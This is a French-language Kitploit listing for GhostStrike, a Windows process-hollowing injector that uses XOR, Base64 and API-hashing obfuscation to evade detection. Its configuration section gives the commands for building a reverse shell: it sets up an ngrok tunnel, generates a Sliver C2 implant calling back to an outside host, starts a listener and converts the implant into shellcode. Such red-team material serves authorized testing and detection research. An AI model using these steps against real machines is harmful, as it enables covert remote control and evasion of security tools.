Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GhostStrike — Injecteur de process hollowing en C++ qui chiffre et obfusque le shellcode avec XOR, Base64 et une résolution dynamique des API afin de déployer des reverse shells furtifs sous Windows. | Kitploit
Outils/GitHubGitHub/stivenhacker/ghoststrike
Outils de Chiffrement/DéchiffrementShellcodeAnalyse de MalwareTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubstivenhacker/ghoststrike

GhostStrike

Injecteur de process hollowing en C++ qui chiffre et obfusque le shellcode avec XOR, Base64 et une résolution dynamique des API afin de déployer des reverse shells furtifs sous Windows.

Voir le dépôt
8289421il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

GhostStrike ⚔️

GhostStrike est un outil de cybersécurité avancé conçu pour les opérations Red Team, doté de techniques sophistiquées pour échapper à la détection et réaliser un process hollowing sur les systèmes Windows.

✨ Fonctionnalités

  • Résolution dynamique des API : Utilise une méthode personnalisée basée sur le hachage pour résoudre dynamiquement les API Windows, évitant ainsi la détection par les outils de sécurité basés sur les signatures.
  • Encodage/Décodage Base64 : Encode et décode le shellcode pour dissimuler sa présence en mémoire, rendant sa détection plus difficile pour les outils d'analyse statique.
  • Génération de clés cryptographiques : Génère des clés cryptographiques sécurisées à l'aide des API Cryptography de Windows pour chiffrer et déchiffrer le shellcode, ajoutant une couche de protection supplémentaire.
  • Chiffrement/Déchiffrement XOR : Chiffrement XOR simple mais efficace pour protéger le shellcode pendant son processus d'injection.
  • Aplatissement du flux de contrôle : Met en œuvre l'aplatissement du flux de contrôle pour obscurcir le chemin d'exécution, compliquant l'analyse par les outils d'analyse statique et dynamique.
  • Process Hollowing : Injecte un shellcode chiffré dans un processus Windows légitime, lui permettant de s'exécuter discrètement sans éveiller les soupçons.

⚙️ Configuration

Vous pouvez configurer GhostStrike en suivant les étapes ci-dessous :

  1. Créer un service Ngrok : ngrok tcp 443
  2. Générer un implant Sliver C2 : generate --mtls x.tcp.ngrok.io --save YourFile.exe
  3. Créer un listener : mtls --lhost 0.0.0.0 --lport 443
  4. Convertir en .bin : ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  5. Convertir en shellcode C++ : xxd -i YourFile.bin > YourFile.h
  6. Importer YourFile.h dans ce code
  7. Compilez et profitez-en ! 🚀

💻 Prérequis

  • Compilateur C++ : Tout compilateur C++ moderne, tel que g++, clang++ ou Visual Studio, suffit pour compiler le code.

Aucune dépendance supplémentaire n'est nécessaire pour compiler GhostStrike. Compilez simplement le code source avec votre compilateur C++ préféré, et vous êtes prêt !

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et à une utilisation dans des environnements contrôlés. L'utilisation non autorisée de GhostStrike en dehors de ces contextes est strictement interdite. L'auteur, @Stiven.Hacker, décline toute responsabilité quant à tout usage abusif ou dommage causé par ce code.

🎥 Démonstration

Découvrez une démonstration en direct de GhostStrike en action sur LinkedIn :

Voir la démo

Télécharger l’outil